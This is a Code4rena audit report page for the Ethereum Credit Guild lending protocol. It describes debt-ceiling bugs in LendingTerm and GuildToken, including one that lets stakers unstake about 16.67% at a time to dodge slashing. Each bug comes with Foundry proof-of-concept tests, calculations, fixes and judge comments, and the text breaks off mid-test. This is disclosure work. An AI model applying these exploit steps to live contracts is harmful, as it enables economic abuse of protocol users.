277: gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta); 278: uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this)); 279: uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight( 280: gaugeType 281: ); 282: uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter) 283: .buffer(); 284: uint256 _hardCap = params.hardCap; // cached SLOAD 285: if (gaugeWeight == 0) { 286: return 0; // no gauge vote, 0 debt ceiling
Since our user is unstaking 1e18
(gaugeWeightDelta
), the adjusted gaugeWeight
is 999e18
(1_000e18 - 1e18
) and the totalWeight
is 1_000e18
. The return statement on line 286 will only execute if our user is trying to unstake all of the the staked Guild, i.e. if gaugeWeightDelta == 1_000e18
.
LendingTerm::debtCeiling#L287-L291
287: } else if (gaugeWeight == totalWeight) { 288: // one gauge, unlimited debt ceiling 289: // returns min(hardCap, creditMinterBuffer) 290: return 291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The return statement on line 291 will only execute if the adjusted gaugeWeight
is equal to the totalWeight
. I.e. the user must be unstaking 0
Guild in this single gauge system.
LendingTerm::debtCeiling#L293-L303
298: if (totalBorrowedCredit == 0 && gaugeWeight != 0) { 299: // first-ever CREDIT mint on a non-zero gauge weight term 300: // does not check the relative debt ceilings 301: // returns min(hardCap, creditMinterBuffer) 302: return 303: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The return statement above will only be executed when there are currently no active loans in the gauge. Since in our example 1_000_000e18
worth of loans have been taken out, this return statement will not execute for our user.
LendingTerm::debtCeiling#L305-L311
305: uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) / 306: 1e18; 307: uint256 debtCeilingBefore = (totalBorrowedCredit * 308: toleratedGaugeWeight) / totalWeight; 309: if (_issuance >= debtCeilingBefore) { 310: return debtCeilingBefore; // no more borrows allowed 311: }
The above return statement will be executed if the adjusted debtCeilingBefore
is equal to or less than the issuance
for the gauge. Let us perform the calculations to see if this is the case:
- issuance: 1_000_000e18 - gaugeWeightTolerance: 1.2e18 - totalBorrowedCredit: 1_000_000e18 (based on borrows) - gaugeWeight (adjusted): 999e18 - totalWeight: 1_000e18 - toleratedGaugeWeight = (999e18 * 1.2e18) / 1e18 = 1198.8e18 - debtCeilingBefore = (1_000_000e18 * 1198.8e18) / 1_000e18 = 1_198_800e18 - `issuance >= debtCeilingBefore` == false
Based on the above calculations, our user (who is unstaking 1e18
), will not trigger the return statement on line 310. Note that this return statement will not be reached as long as the calculated toleratedGaugeWeight
is greater than or less than the totalWeight
.
LendingTerm::debtCeiling#L313-L317
313: if (toleratedGaugeWeight >= totalWeight) { 314: // if the gauge weight is above 100% when we include tolerance, 315: // the gauge relative debt ceilings are not constraining. 316: return 317: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The above return statement will execute if the calculated toleratedGaugeWeight
is greater than or equal to the totalWeight
. This is the case for our user: toleratedGaugeWeight == 1198.8e18 | totalWeight == 1000e18
. Therefore, the debtCeiling
function will return min(hardCap, buffer)
. In our example state above, the hardCap == 2_000_000e18
and the buffer == 1_000_000e18
(since it was depleted via borrows). Thus, the buffer
is returned as the debtCeilingAfterDecrement
. Since debtCeilingAfterDecrement == issuance
, the user will be allowed to unstake their 1e18
of Guild.
However, now lets consider a small modification to our previous state:
- bufferCap: 2_000_000e18 - hardCap: 2_000_000e18 - gauge weight: 1_000e18 - total gauge weight: 1_000e18 - issuance = 1_000_001e18 (50.000...5% of debt allocation, 1_000_001e18 in borrows) - buffer: 999_999e18 (depleted by 50.000...5%) - a user wishes to unstake 1e18 of Guild from the gauge
The above state only differs by 1e18
, but this results in the buffer
being depleted by 50.000...5%
. I.e. just over 50%
of the debt allocation has been utilized by this gauge. When our user tries to unstake 1e18
during this state they will encounter the same return statement that was previously executed:
LendingTerm::debtCeiling#L313-L317
313: if (toleratedGaugeWeight >= totalWeight) { 314: // if the gauge weight is above 100% when we include tolerance, 315: // the gauge relative debt ceilings are not constraining. 316: return 317: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
As we previoulsy observed, the toleratedGaugeWeight
is greater than the totalWeight
and so the buffer
will be returned on line 317. However, now the buffer == 999_999e18
and the issuance == 1_000_001e18
. Therefore, issuance > debtCeilingAfterDecrement
and the user will not be able to unstake their 1e18
of Guild. Based on the above information, stakers will not be able to unstake any Guild once just over 50%
of the debt allocation has been utilized.
Borrowers do not have the same restrictions as stakers. The debtCeiling
calculation for borrowers differs from the one for stakers and allows them to be able to borrow up to 100% debt allocation:
LendingTerm::_borrow#L383-L395
383: uint256 _debtCeiling = (GuildToken(refs.guildToken) 384: .calculateGaugeAllocation( 385: address(this), 386: totalBorrowedCredit + borrowAmount 387: ) * gaugeWeightTolerance) / 1e18; 388: if (totalBorrowedCredit == 0) { 389: // if the lending term is deprecated, `calculateGaugeAllocation` will return 0, and the borrow 390: // should revert because the debt ceiling is reached (no borrows should be allowed anymore). 391: // first borrow in the system does not check proportions of issuance, just that the term is not deprecated. 392: require(_debtCeiling != 0, "LendingTerm: debt ceiling reached"); 393: } else { 394: require( 395: _postBorrowIssuance <= _debtCeiling,
In single gauge systems, borrowers are able to utilize the full 100% debt allocation of the system, while stakers are unable to unstake from the gauge once just over 50%
of the debt allocation has been utilized. This suggests that borrowers are inherently favored over stakers and breaks the incentive structure of the protocol, as stakers are incentivized to not allow the gauge to utilize over 50% of the allocation, while borrower's are allowed to utilize 100% of the debt allocation. To further explain, stakers are incentivized to call
loans (perhaps offboard
) loans when they are unable to unstake. This is due to the fact that being unable to unstake
should mean that the full debt allocation of the gauge has been utilized. Consider the following invariant from the ECG contest page:
To unstake, the lending term issuance (borrow amount) must be below its debt ceiling, or they must first call one or more loans. This is to ensure no one can exit when they should be slashed.
Therefore, in single gauge systems, stakers will be incentivized to call
loans (via whatever means they decide on) when just over 50%
of the debt allocation has been utilized so that they are able to unstake from the gauge.
Most importantly, the vulnerablility described above will directly affect the protocol during its beta launch. The protocol, according to the deployment script, will launch with one gauge and thus the gauge will have 100%
allocation over the bufferCap
. Stakers will assume that they are able to unstake freely as long as the debt allocation is not fully exhausted, however they will find that their Guild becomes locked in the gauge at just over 50%
of debt utilization. Meanwhile, borrowers will be allowed to borrow past 50%
of the debt allocation which will result in stakers' Guild being prematurely locked.
The following test showcases the scenario detailed above in which stakers are not allowed to unstake from the gauge once just over 50%
of the debt allocation has been utilized, meanwhile borrowers do not share the same restrictions.
Place the test in the /test/unit/loan
directory:
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.13; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {Test} from "@forge-std/Test.sol"; import {Core} from "@src/core/Core.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {MockERC20} from "@test/mock/MockERC20.sol"; import {SimplePSM} from "@src/loan/SimplePSM.sol"; import {GuildToken} from "@src/tokens/GuildToken.sol"; import {CreditToken} from "@src/tokens/CreditToken.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; import {AuctionHouse} from "@src/loan/AuctionHouse.sol"; import {ProfitManager} from "@src/governance/ProfitManager.sol"; import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol"; contract BorrowersFavoredOverStakers is Test { address private governor = address(1); address private guardian = address(2); Core private core; ProfitManager private profitManager; CreditToken credit; GuildToken guild; MockERC20 collateral; SimplePSM private psm; RateLimitedMinter rlcm; RateLimitedMinter rlgm; AuctionHouse auctionHouse; LendingTerm term; // LendingTerm params (same as deployment script) uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1 uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; uint256 constant _HARDCAP = 2_000_000e18; // 2 million uint256 public issuance = 0; function setUp() public { vm.warp(1679067867); vm.roll(16848497); core = new Core(); profitManager = new ProfitManager(address(core)); collateral = new MockERC20(); credit = new CreditToken(address(core), "name", "symbol"); guild = new GuildToken( address(core), address(profitManager) ); rlcm = new RateLimitedMinter( address(core) /*_core*/, address(credit) /*_token*/, CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/, 0 /*_maxRateLimitPerSecond*/, 0 /*_rateLimitPerSecond*/, uint128(_HARDCAP) /*_bufferCap*/ ); auctionHouse = new AuctionHouse(address(core), 650, 1800); term = LendingTerm(Clones.clone(address(new LendingTerm()))); term.initialize( address(core), LendingTerm.LendingTermReferences({ profitManager: address(profitManager), guildToken: address(guild), auctionHouse: address(auctionHouse), creditMinter: address(rlcm), creditToken: address(credit) }), LendingTerm.LendingTermParams({ collateralToken: address(collateral), maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN, interestRate: _INTEREST_RATE, maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY, minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT, openingFee: 0, hardCap: _HARDCAP }) ); psm = new SimplePSM( address(core), address(profitManager), address(credit), address(collateral) ); profitManager.initializeReferences(address(credit), address(guild), address(psm)); // roles core.grantRole(CoreRoles.GOVERNOR, governor); core.grantRole(CoreRoles.GUARDIAN, guardian); core.grantRole(CoreRoles.CREDIT_MINTER, address(this)); core.grantRole(CoreRoles.GUILD_MINTER, address(this)); core.grantRole(CoreRoles.GAUGE_ADD, address(this)); core.grantRole(CoreRoles.GAUGE_REMOVE, address(this)); core.grantRole(CoreRoles.GAUGE_PARAMETERS, address(this)); core.grantRole(CoreRoles.CREDIT_MINTER, address(rlcm)); core.grantRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, address(term)); core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(term)); core.grantRole(CoreRoles.CREDIT_MINTER, address(psm)); core.grantRole(CoreRoles.CREDIT_REBASE_PARAMETERS, address(psm)); core.renounceRole(CoreRoles.GOVERNOR, address(this)); // add gauge guild.setMaxGauges(10); guild.addGauge(1, address(term)); } function testBorrowersFavoredOverStakersOneGauge() public { // set minBorrow to 1 wei for demonstration purposes vm.startPrank(governor); profitManager.setMinBorrow(1); vm.stopPrank(); assertEq(profitManager.minBorrow(), 1); // gauge debt ceiling increases guild.mint(address(this), 1000e18); guild.incrementGauge(address(term), 1000e18); // single gauge has 100% allocation of the bufferCap assertEq(guild.calculateGaugeAllocation(address(term), rlcm.bufferCap()), rlcm.bufferCap()); assertEq(term.debtCeiling(), rlcm.bufferCap()); // 50% of the debt ceiling is used (1_000_000e18 Credit is borrowed) collateral.mint(address(this), 1_000_000e18); // 1_000_000e18 == 50% of bufferCap (debt ceiling) collateral.approve(address(term), 1_000_000e18); term.borrow(1_000_000e18, 1_000_000e18); vm.warp(block.timestamp + 13); vm.roll(block.number + 1); assertEq(term.issuance(), 1_000_000e18); assertEq(rlcm.buffer(), 1_000_000e18); // global debt ceiling depleted by 50% // stakers can unstake from the gauge guild.decrementGauge(address(term), 100e18); // 50.000...5% of the debt ceiling is used (1_000_000e18 + 1 Credit is borrowed) collateral.mint(address(this), 1); // 1_000_000e18 + 1 == 50.000...5% of bufferCap (debtCeiling) collateral.approve(address(term), 1); term.borrow(1, 1); vm.warp(block.timestamp + 13); vm.roll(block.number + 1); assertEq(term.issuance(), 1_000_000e18 + 1); assertEq(rlcm.buffer(), 1_000_000e18 - 1); // global debt ceiling depleted by 50.000...5% // stakers can not unstake from the gauge // debt ceiling of the gauge has been hit as far as stakers are concerned vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), 100e18); // borrowers can still borrow from the term // debt ceiling for the gauge has not been hit as far as borrowers are concerned collateral.mint(address(this), 100_000e18); collateral.approve(address(term), 100_000e18); term.borrow(100_000e18, 100_000e18); vm.warp(block.timestamp + 13); vm.roll(block.number + 1); assertEq(term.issuance(), 1_000_000e18 + 1 + 100_000e18); assertEq(rlcm.buffer(), 1_000_000e18 - 1 - 100_000e18); // global debt ceiling depleted by > 55% // stakers still can not unstake vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), 10e18); // borrows can borrow up to 100% debt allocation (2_000_000e18) uint256 borrowAmount = _HARDCAP - term.issuance(); collateral.mint(address(this), borrowAmount); collateral.approve(address(term), borrowAmount); term.borrow(borrowAmount, borrowAmount); assertEq(term.issuance(), _HARDCAP); assertEq(rlcm.buffer(), 0); // global debt ceiling fully depleted (100%) // as expected, stakers can not unstake once 100% debt allocation is hit vm.expectRevert("GuildToken: debt ceiling used"); guild.decrementGauge(address(term), 100e18); } }
manual
For single gauge systems, the following explicit checks should be conducted when a user is trying to unstake:
issuance
is > 0
and the user is trying to unstake all of the remaining Guild in the gauge, revertissuance
is equal to the bufferCap
, revertIf the above checks pass, then the user should be allowed to unstake from the gauge. A single gauge system could be identified by verifying that the (unadjusted) gaugeWeight == totalTypeWeight
.
Other
#0 - 0xSorryNotSorry
2024-01-04T08:49:17Z
The issue is very well demonstrated, properly formatted, contains a coded POC. Marking as HQ.
#1 - c4-pre-sort
2024-01-04T08:49:21Z
0xSorryNotSorry marked the issue as high quality report
#2 - c4-pre-sort
2024-01-04T08:49:27Z
0xSorryNotSorry marked the issue as primary issue
#3 - eswak
2024-01-12T10:32:03Z
Confirming, thanks for the very high quality report.
#4 - c4-sponsor
2024-01-12T10:32:07Z
eswak (sponsor) confirmed
#5 - eswak
2024-01-19T11:23:44Z
Root cause is a duplicate of #333
#6 - Trumpero
2024-01-30T11:22:42Z
I believe this issue shares the same root cause with https://github.com/code-423n4/2023-12-ethereumcreditguild-findings/issues/586 since unapplying deltaGaugeWeight to totalTypeWeight lead it be unequal with gaugeWeight in case the gauge type has only 1 term. t causes the following check to be bypassed.
287: } else if (gaugeWeight == totalWeight) { 288: // one gauge, unlimited debt ceiling 289: // returns min(hardCap, creditMinterBuffer) 290: return 291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
#7 - c4-judge
2024-01-30T11:23:01Z
Trumpero marked the issue as duplicate of #586
#8 - c4-judge
2024-01-30T17:53:49Z
Trumpero marked the issue as satisfactory
🌟 Selected for report: SpicyMeatball
Also found by: Byteblockers, JCN, TheSchnilch, cccz, ether_sky, kaden, klau5, mojito_auditor, niroh, nocoder, rbserver, santipu_
71.3169 USDC - $71.32
Judge has assessed an item in Issue #556 as 2 risk. The relevant finding follows:
debtCeiling()
does not properly calculate the debt ceiling of gauges experiencing an adjustment upThe debtCeiling
function will return a gauge's debt allocation, with respect to an applied adjustment (gauge is being staked into or unstaked from):
LendingTerm::debtCeiling#L270-L281
270: function debtCeiling( 271: int256 gaugeWeightDelta 272: ) public view returns (uint256) { 273: address _guildToken = refs.guildToken; // cached SLOAD 274: uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight( 275: address(this) 276: ); 277: gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta); 278: uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this)); 279: uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight( 280: gaugeType 281: );
As seen above, the gaugeWeightDelta
is the adjustment being applied to the gaugeWeight
of the gauge. If the adjusted gaugeWeight
is 0, then the debt ceiling is considered 0. If the gaugeWeight
is equal to the totalWeight
for all the gauge's of this type, then the gauge is considered to have 100% debt allocation:
LendingTerm::debtCeiling#L285-L292
285: if (gaugeWeight == 0) { 286: return 0; // no gauge vote, 0 debt ceiling 287: } else if (gaugeWeight == totalWeight) { 288: // one gauge, unlimited debt ceiling 289: // returns min(hardCap, creditMinterBuffer) 290: return 291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer; 292: }
However, as we can see in the above code snippets, the adjusted totalWeight
for the gauge type is not considered. This can result in a gauge being adjusted up by a gaugeWeightDelta
that results in the adjusted gaugeWeight
being equal to the non-adjusted totalWeight
. If this gauge is in a multi-gauge system then it's calculated debt allocation will be considered 100%, despite the weight of other gauges in the system. Lets consider an example:
- totalWeight = 2000e18 - Gauge A weight = 1000e18 => 50% debt allocation - Gauge B weight = 1000e18 => 50% debt allocation - gaugeA.debtCeiling(1000e18): - gaugeWeightDelta = 1000e18 - gaugeWeight = gaugeAWeight + gaugeWeightDelta = 2000e18 - gaugeWeight == totalWeight => 100% debt allocation Actual debt allocations after adjustment: - totalWeight (post adjustment) = 3000e18 - Gauge A weight (post adjustment) = 2000e18 - Gauge B weight = 1000e18 - Gauge A debt allocation = 2000e18 / 3000e18 => ~ 66% - Gauge B debt allocation = 1000e18 / 3000e18 => ~ 33%
As we can see above, the debtCeiling
function will not return the proper debt ceiling of a gauge when the gauge is being adjusted up with an amount that results in the gaugeWeight
being equal to the totalWeight
.
The debtCeiling()
function is currently only used for calculating an adjustment down (unstaking) in gauges. However, seeing as this function is meant to take in any adjustment (up or down), 3rd party integrators or future ECG contracts that use this function can potentially receive incorrect values.
Place the following test inside of /test/unit/loan/LendingTerm.t.sol
:
function testWrongDebtCeilingForAdjustmentUp() public { // add additional term LendingTerm term2 = LendingTerm(Clones.clone(address(new LendingTerm()))); term2.initialize( address(core), LendingTerm.LendingTermReferences({ profitManager: address(profitManager), guildToken: address(guild), auctionHouse: address(auctionHouse), creditMinter: address(rlcm), creditToken: address(credit) }), LendingTerm.LendingTermParams({ collateralToken: address(collateral), maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN, interestRate: _INTEREST_RATE, maxDelayBetweenPartialRepay: _MAX_DELAY_BETWEEN_PARTIAL_REPAY, minPartialRepayPercent: _MIN_PARTIAL_REPAY_PERCENT, openingFee: 0, hardCap: _HARDCAP }) ); guild.addGauge(1, address(term2)); // set weights for both terms guild.decrementGauge(address(term), _HARDCAP); guild.incrementGauge(address(term), 1000e18); guild.incrementGauge(address(term2), 1000e18); assertEq(guild.getGaugeWeight(address(term)), 1000e18); assertEq(guild.getGaugeWeight(address(term2)), 1000e18); assertEq(guild.totalTypeWeight(1), 2000e18); // simulate a borrow so `totalBorrowedCredit` > 0 uint256 borrowAmount = 20_000e18; uint256 collateralAmount = 12e18; collateral.mint(address(this), collateralAmount); collateral.approve(address(term), collateralAmount); term.borrow(borrowAmount, collateralAmount); // confirm debtCeilings via `calculateGaugeAllocation` (no tolerance) assertEq(guild.calculateGaugeAllocation(address(term), _HARDCAP), _HARDCAP / 2); // 50% debt allocation assertEq(guild.calculateGaugeAllocation(address(term2), _HARDCAP), _HARDCAP / 2); // 50% debt allocation // confirm debtCeilings via `debtCeiling()` (with tolerance) // debt ceiling is 50% of totalSupply (20_000e18) // + 20% of tolerance (10_000e18 + 2_000e18) assertEq(term.debtCeiling(), 12_000e18); // 20_000e18 + 10_000e18 since issuance == 0 assertEq(term2.debtCeiling(), 30_000e18); // simulate adjustment up via `debtCeiling()` assertEq(term.debtCeiling(int256(1000e18)), _HARDCAP); // gauge viewed as having 100% debt allocation after increasing by 1000e18 // actually increase the weight of the term guild.incrementGauge(address(term), 1000e18); assertEq(guild.getGaugeWeight(address(term)), 2000e18); assertEq(guild.getGaugeWeight(address(term2)), 1000e18); assertEq(guild.totalTypeWeight(1), 3000e18); // confirm debtCeilings via `calculateGaugeAllocation` (no tolerance) assertEq(guild.calculateGaugeAllocation(address(term), _HARDCAP), 13333333333333333333333333); // ~66% debt allocation assertEq(guild.calculateGaugeAllocation(address(term2), _HARDCAP), 6666666666666666666666666); // ~33% debt allocation // confirm debtCeilings via `debtCeiling()` (with tolerance) // totalSupply == 20_000e18 // ~ 66% of total supply + 20% tolerance == ~ 13_333e18 + 2_666e18 assertEq(term.debtCeiling(), 16_000e18); // maxBorrow == ~ 13_333e18, since issuance == 0 assertEq(term2.debtCeiling(), 13333333333333333333333); }
If a gauge is experiencing an adjustment up, i.e. gaugeWeightDelta > 0
, then an updated totalWeight
should be considered (totalWeight = totalWeight + gaugeWeightDelta
).
#0 - c4-judge
2024-01-30T15:13:36Z
Trumpero marked the issue as satisfactory
#1 - c4-judge
2024-01-30T15:14:00Z
Trumpero marked the issue as duplicate of #586
🌟 Selected for report: JCN
4267.4534 USDC - $4,267.45
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/GuildToken.sol#L222-L231 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/LendingTerm.sol#L305-L311
Users are incentivized to stake into a gauge in order to increase its debt ceiling. They are also incentivized to maintain the health of the protocol by calling unhealthy loans and offboarding unsound terms, and their staked Guild is subject to being slashed
if they do not do so effectively. Once the debt ceiling for a gauge is reached, loans will need to be repaid or called in order for stakers to unstake their Guild. This invariant can be observed in the ECG contest page: To unstake, the lending term issuance (borrow amount) must be below its debt ceiling, or they must first call one or more loans. This is to ensure no one can exit when they should be slashed.
Note that I have also confirmed this to be an invariant of the protocol with the developers.
Below I will explain a scenario in which over 90% of staked Guild can be unstaked from a gauge that is currently using its full debt allocation. I will be using the parameters defined in the GIP_0.sol
deployment script as an example, since these are the parameters that will define the protocol once it is launched:
bufferCap
) = 2_000_000e18We will be utilizing the following state for our example (numbers chosen for easier calculations):
pegToken
with their borrowed credit)issuance
== 2_000_000e18totalBorrowerdCredit
== 2_000_000e18When a user unstakes from a gauge the following code is invoked:
GuildToken::_decrementGaugeWeight#L224-L233
224: uint256 issuance = LendingTerm(gauge).issuance(); 225: if (issuance != 0) { 226: uint256 debtCeilingAfterDecrement = LendingTerm(gauge).debtCeiling(-int256(weight)); 227: require( 228: issuance <= debtCeilingAfterDecrement, 229: "GuildToken: debt ceiling used" 230: ); 231: } 232: 233: super._decrementGaugeWeight(user, gauge, weight);
As we can see above, the LendingTerm::debtCeiling
function is invoked in order to calculate the gauge's debt ceiling after the user's weight is removed from the gauge. The resulting debt ceiling is required to be equal to or greater than the issuance (how much credit is borrowed from the gauge). If the adjusted debt ceiling is at, or still above, the current issuance, then the the user will be allowed to unstake their weight from the gauge. Let us observe the debtCeiling
function to see what happens when a user tries to unstake Guild given the provided state mentioned earlier:
LendingTerm::debtCeiling#L274-L291
274: uint256 gaugeWeight = GuildToken(_guildToken).getGaugeWeight( 275: address(this) 276: ); 277: gaugeWeight = uint256(int256(gaugeWeight) + gaugeWeightDelta); 278: uint256 gaugeType = GuildToken(_guildToken).gaugeType(address(this)); 279: uint256 totalWeight = GuildToken(_guildToken).totalTypeWeight( 280: gaugeType 281: ); 282: uint256 creditMinterBuffer = RateLimitedMinter(refs.creditMinter) 283: .buffer(); 284: uint256 _hardCap = params.hardCap; // cached SLOAD 285: if (gaugeWeight == 0) { 286: return 0; // no gauge vote, 0 debt ceiling 287: } else if (gaugeWeight == totalWeight) { 288: // one gauge, unlimited debt ceiling 289: // returns min(hardCap, creditMinterBuffer) 290: return 291: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The adjusted weight is computed on line 277, where gaugeWeightDelta
is how much weight (Guild) the user wishes to unstake. If the adjusted weight is 0 then the adjusted debt ceiling is considered 0 (no debt ceiling). If the adjusted weight is equal to the total weight of the gauge then the minimum value between the hardCap
and buffer
is returned. The first return statement will be invoked if our user is trying to unstake all of the Guild in the gauge. If our user is attempting to unstake 0 Guild, then the second return statement will be invoked and the buffer
, which is 0, will be returned. Here is a reminder of the current state we are operating under:
If our user is attempting to withdraw a value > 0
and < totalWeight
, the following code will execute:
LendingTerm::debtCeiling#L293-L303
293: uint256 _issuance = issuance; // cached SLOAD 294: uint256 totalBorrowedCredit = ProfitManager(refs.profitManager) 295: .totalBorrowedCredit(); 296: uint256 gaugeWeightTolerance = ProfitManager(refs.profitManager) 297: .gaugeWeightTolerance(); 298: if (totalBorrowedCredit == 0 && gaugeWeight != 0) { 299: // first-ever CREDIT mint on a non-zero gauge weight term 300: // does not check the relative debt ceilings 301: // returns min(hardCap, creditMinterBuffer) 302: return 303: _hardCap < creditMinterBuffer ? _hardCap : creditMinterBuffer;
The above return statement will only be invoked if totalBorrowedCredit
is 0, meaning there would need to be no current borrows for this gauge. This is not the case for our operating state since the entire hardCap
of our gauge has been hit, and therefore totalBorrowedCredit
is 2_000_000e18
. However, let us take note of the 3 values retrieved in the above code:
issuance
= 2_000_000e18totalBorrowedCredit
= 2_000_000e18tolerance
= 1.2e18 (Note that this tolerance
allows a gauge to extend 20% beyond its actual debt ceiling)Since the above return statement can not be invoked under our operating state we will continue to the next possible return statement:
LendingTerm::debtCeiling#L305-L310
305: uint256 toleratedGaugeWeight = (gaugeWeight * gaugeWeightTolerance) / 306: 1e18; 307: uint256 debtCeilingBefore = (totalBorrowedCredit * 308: toleratedGaugeWeight) / totalWeight; 309: if (_issuance >= debtCeilingBefore) { 310: return debtCeilingBefore; // no more borrows allowed
As seen above, this return statement will be invoked if the issuance
is equal to or greater than the calculated debtCeilingBefore
. Therefore, if we can somehow make debtCeilingBefore == issuance
, then the require statement in GuildToken::_decrementGaugeWeight
(issuance <= debtCeilingBefore
) will also pass and we will have successfully unstaked Guild.
How can we do this? I was intrigued by the function of the tolerance
and how it can influence (purposely inflate) the debt ceiling of a gauge. I.e. tolerance
will allow a gauge's debt allocation of 80% to be considered > 80%
. However, what if the gauge's debt allocation is currently at 100%? It stands to reason that we can decrease the gaugeWeight
by a specified amount and after the tolerance
is applied we can potentially produce the same value as the original totalWeight
. I.e. debt allocation of the gauge remains the same. Given our current operating state we will have to make the toleratedGaugeWeight == totalWeight
. Once this is achieved, the debtCeilingBefore
will be equal to totalBorrowedCredit
, which is equal to issuance
.
Per my calculations, I found that given the current operating state we will be able to unstake ~16.66666...%
of the totalWeight
at a time. Below I will demonstrate the calculations for doing so:
// use chisel console // state uint256 issuance = 2000000000000000000000000; uint256 totalBorrwedCredit = 2000000000000000000000000; uint256 tolerance = 1.2e18; uint256 totalWeight = 2000000000000000000000000 // ideal unstakeAmount = totalWeight * .1666666666... // solidity does not offer a lot of precision right out of the box so I used python to acquire the necessary precision uint256 unstakeAmount = 333333333333333333333333; // calculations uint256 gaugeWeight = totalWeight - unstakeAmount; // gaugeWeight == 1666666666666666666666667 uint256 toleratedGaugeWeight = (gaugeWeight * tolerance) / 1e18 // toleratedGaugeWeight == 2000000000000000000000000 toleratedGaugeWeight == totalWeight uint256 debtCeilingBefore = (totalBorrowedCredit * toleratedGaugeWeight) / totalWeight; // debtCeilingBefore == 2000000000000000000000000 debtCeilingBefore == issuance
As we can see above, by utilizing the tolerance
we were able to control the ratio between toleratedGaugeWeight
and the totalWeight
. Provided that the totalBorrowedCredit
is equal to the issuance
, we were able to unstake ~16.666666...%
of the totalWeight
from the gauge.
~16.6666%
of the total staked Guild can be unstaked from a gauge currently utilizing its full debt allocation. This can be performed numerous times until over 90% of the total staked Guild has been unstaked. Theoretically, ~16.66666%
can continue to be unstaked until virtually all meaningful Guild is unstaked from the gauge.
The above breaks an invariant of the protocol and enables Guild stakers to potentially avoid being slashed. Given that the Ethereum Credit Guild relies on properly incentivizing protocol participants to maintain the health of the system, this vulnerability can absolve stakers from punishment and disrupt the effectiveness and efficiency of the protocol, potentially leading to an unhealthy system.
The following PoC describes the scenario outlined in the Bug Description
, where ~16.6666....
of the total staked Guild is unstaked from a gauge utilizing its full debt allocation. This is done until over 90% of the staked Guild has been unstaked from the gauge.
Place the test file inside of the test/unit/loan/
directory:
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.13; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {Test} from "@forge-std/Test.sol"; import {Core} from "@src/core/Core.sol"; import {CoreRoles} from "@src/core/CoreRoles.sol"; import {MockERC20} from "@test/mock/MockERC20.sol"; import {SimplePSM} from "@src/loan/SimplePSM.sol"; import {GuildToken} from "@src/tokens/GuildToken.sol"; import {CreditToken} from "@src/tokens/CreditToken.sol"; import {LendingTerm} from "@src/loan/LendingTerm.sol"; import {AuctionHouse} from "@src/loan/AuctionHouse.sol"; import {ProfitManager} from "@src/governance/ProfitManager.sol"; import {RateLimitedMinter} from "@src/rate-limits/RateLimitedMinter.sol"; contract UnstakeAtDebtCeiling is Test { address private governor = address(1); address private guardian = address(2); address user = address(0x01010101); address borrower = address(0x02020202); address lender = address(0x03030303); Core private core; ProfitManager private profitManager; CreditToken credit; GuildToken guild; MockERC20 collateral; MockERC20 pegToken; SimplePSM private psm; RateLimitedMinter rlcm; AuctionHouse auctionHouse; LendingTerm term; // LendingTerm params (same as deployment script) uint256 constant _CREDIT_PER_COLLATERAL_TOKEN = 1e18; // 1:1 uint256 constant _INTEREST_RATE = 0.04e18; // 4% APR uint256 constant _MAX_DELAY_BETWEEN_PARTIAL_REPAY = 0; uint256 constant _MIN_PARTIAL_REPAY_PERCENT = 0; uint256 constant _HARDCAP = 2_000_000e18; // 2 million uint256 public issuance = 0; function setUp() public { vm.warp(1679067867); vm.roll(16848497); core = new Core(); profitManager = new ProfitManager(address(core)); collateral = new MockERC20(); pegToken = new MockERC20(); // 18 decimals for easy calculations (deployment script uses USDC which has 6 decimals) credit = new CreditToken(address(core), "name", "symbol"); guild = new GuildToken( address(core), address(profitManager) ); rlcm = new RateLimitedMinter( address(core) /*_core*/, address(credit) /*_token*/, CoreRoles.RATE_LIMITED_CREDIT_MINTER /*_role*/, 0 /*_maxRateLimitPerSecond*/, 0 /*_rateLimitPerSecond*/, uint128(_HARDCAP) /*_bufferCap*/ ); auctionHouse = new AuctionHouse(address(core), 650, 1800); term = LendingTerm(Clones.clone(address(new LendingTerm()))); term.initialize( address(core), LendingTerm.LendingTermReferences({ profitManager: address(profitManager), guildToken: address(guild), auctionHouse: address(auctionHouse), creditMinter: address(rlcm), creditToken: address(credit) }), LendingTerm.LendingTermParams({ collateralToken: address(collateral), maxDebtPerCollateralToken: _CREDIT_PER_COLLATERAL_TOKEN, interestRate: _INTEREST_RATE, maxDelayBetweenPartialRepay: 